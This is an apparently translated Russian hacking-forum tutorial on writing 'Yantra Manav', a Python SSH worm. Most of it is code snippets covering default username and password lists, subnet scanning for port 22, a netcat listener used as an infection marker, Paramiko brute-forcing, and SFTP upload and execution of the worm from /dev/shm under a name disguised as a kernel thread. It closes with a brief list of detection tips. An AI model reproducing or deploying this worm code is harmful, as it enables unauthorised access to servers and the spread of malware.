Статья Пишем Yantra Manav - малварю, заражающую компьютеры по SSH

xss.is/threads/46684

Недавно я наткнулся на статью о ботнете FritzFrog, нацеленном на SSH-серверы. Вдохновившись, я подумал, почему бы не создать свою собственную версию SSH-червя, похожего на FritzFrog. Вредоносы, которые умеют самораспространяться, делятся на два типа: они либо пытается эксплуатировать известные уязвимости, либо пытается использовать брутфорс, чтобы подобрать пароль. Сегодня мы обратимся ко второму методу. И прежде чем мы начнем, позвольте упомянуть отличную статью в блоге Вивека Рамачандрана от 2013 года о создании SSH-червя с использованием Python. Она мне помогла избежать трудностей при написании своего скрипта. Без лишних слов, давайте начнем...

Yantra Manav - это SSH-червь, написанный на Python. Он использует стороннюю библиотеку Paramiko для выполнения SSH брутфорса и SFTP клиент для распространения собственных копий.

> **Примечание**. Для защиты от кидисов, в этой статье будут представлены только фрагменты кода, а не готовый скрипт.

Инициализация

Создадим класс yantra_manav, следом - метод __init__, объявим переменные с именами пользователей и паролей, которые будут использоваться для брутфорса.
Code:

```
class yantra_manav():
    def __init__(self):
        self.uname = ['aj', 'root', 'kali', 'msfadmin']
        self.passwd = ['root', 'root@123', 'kali', 'logmein', 'qwerty', '1234', 'msfadmin']
```

Получение IP-адреса

Так как мы создаем бота, он должен быть достаточно умен, чтобы получить IP-адрес машины, на которой он работает. Нас интересует получение первых трех октетов IP-адреса, а затем создание цикла FOR для последнего октета от 1 до 255 (это покрывает все 24 диапазона адресов в формате CIDR).
Code:

```
try:
    self.getip_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    self.getip_sock.connect_ex(('169.254.0.0', 4321))
    self.getIP = self.getip_sock.getsockname()[0]
finally:
    self.getip_sock.close()
self.full_IP = self.getIP
#Getting the first three octets
self.IP_three = self.full_IP[:self.full_IP.rfind(".")] + "."
# Adding the last octets
for IP_four in range(1,255):
    self.full_segment.append(self.IP_three + str(IP_four))
```

Для получения IP-адреса, в приведенном выше сниппете мы пытаемся подключиться к локальному 169.254.0.0 на 4321 порту (сеть, которая используется для автоматической частной IP-адресации). А потом записываем результат метода getsockname() в переменную getIP.

Идентификация открытого SSH-порта

Затем мы начинаем перебирать все /24 диапазона в надежде найти открытый SSH-порт.
Code:

```
try:
     for self.ranges in self.full_segment:
         print(self.ranges)
         self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         print("Checking open SSH port for: " + self.ranges)
         self.sock_chk = self.sock.connect_ex((self.ranges, 22))
         if self.sock_chk == 0:
             print("[+] Port is open for " + self.ranges + " !")
             #Calling a method and checking if the target is already compromised or not
             self.jagrut()
         else:
             print("[-] Port is closed :(")
             continue
 except Exception as e:
     print(e)
 finally:
     self.sock.close()
```

Здесь мы используем сокет для подключения к IP-адресу назначения и проверяем, открыт ли 22 порт. Если порт открыт, мы вызываем метод self.jagrut(), который проверяет, взламывали ли мы его ранее.

Создание дочернего процесса

Прежде чем мы перейдем к методу self.jagrut(), давайте создадим дочерний процесс с помощью функции fork(), а затем вызовем метод sunna(), который будет запускать команду nc, прослушивающую 1234 порт.
Code:

```
def sunna(self):
        print("Running child process with PID: ", os.getpid())
        os.execvp("nc", ["nc", "-lvp", "1234"])
        print("Listening on 1234, going ahead with port scanning activity")
```

А вот и сложная часть: мы будем использовать функцию os.execvp, потому что execvp перекрывает родительский процесс. Это сделано для того, чтобы не создавать два идентичных процесса и делать одно и то же.

Jagrut метод

Чтобы не брутфорсить цель, которая уже была нами скомпрометирована, мы вызовем метод jagrut.
Code:

```
def jagrut(self):
        print("Checking if the target is already bruteforced or not for ", self.ranges)
        self.connection_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connected = self.connection_sock.connect_ex((self.ranges, 1234))
        if self.full_IP == self.ranges:
            print("[-] Skipping ", self.ranges)
        else:
            if self.connected == 0:
                print("Target is already compromised!")
            self.ssh_brut()
```

В приведенном выше фрагменте кода мы используем сокет для подключения к 1234 порту. В условии IF мы проверяем, совпадает ли целевой IP с IP-адресом сервера.

В условии ELSE мы проверяем, можем ли мы подключиться к 1234 порту на целевом сервере, в случае успеха мы пишем, что цель уже скомпрометирована, а после вызываем метод self.ssh_brut().

SSH Брутфорс

Это один из основных компонентов, который предназначен для брутфорса SSH. В случае, если соединение успешно, то выводим имя пользователя и пароль.
Code:

```
def ssh_brut(self):
    if self.full_IP != self.ranges and self.connected != 0:
        #Setting up the ssh client
        self.ssh_handler = paramiko.SSHClient()
        # Adding server key if its unknown
    self.ssh_handler.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        print("[*] Attacking host " + self.ranges)
        for user in self.uname:
            for passw in self.passwd:
                try:
                    #Trying to connect to the server
                    self.conn = self.ssh_handler.connect(hostname=self.ranges,username= user,
password=passw, timeout=300)
                    print("[+] Successful connection for host with username: " + user + ":" +
passw)
                    time.sleep(2)
                    print("sleeping for few seconds")
```

Tofa

Как только мы соединились по SSH, заключительным этапом будет запуск SFTP клиента и передача файла.
Code:

```
def tofa(self):
    print("[*] Starting sFTP client")
    sFTP = self.ssh_handler.open_sftp()
    sFTP.put("[aj]", "/dev/shm/" + "[aj]")
    print("[*] Copying the files!")
    self.ssh_handler.exec_command("chmod a+x /dev/shm/\[aj\]")
    print("[*] Making the file as an executeable")
    self.ssh_handler.exec_command("cd /dev/shm; nohup ./[\aj\] &")
    print("[+] Command successfully executed!")
```

Мы копируем его по пути /dev/shm, а затем выполняем. Интересный момент в названии: оно заключено в квадратные скобки «[aj]».

В Linux, если имя процесса заключено в квадратные скобки, то он считается потоком процесса ядра. Здесь мы пытаемся имитировать это.

POC:

Полученный скрипт преобразуется в ELF с помощью pyinstaller.

Ограничения:

- Проверка только одного интерфейса.

- Брутфорс не прекращается после успешной аутентификации.
- Брутфорс на порте SSH по умолчанию (22).
- Брутфорс только для /24 диапазонов CIDR.
- Возможны ложные срабатывания

Обнаружение

- Избегайте использования имени пользователя и пароля по умолчанию.
- Мониторьте логи сбоев аутентификации SSH
- Внедрите Fail2ban, чтобы избежать брутфорса
- Определите процесс, который имитирует поток процесса ядра с помощью DMKPT

источник
перевод @Moody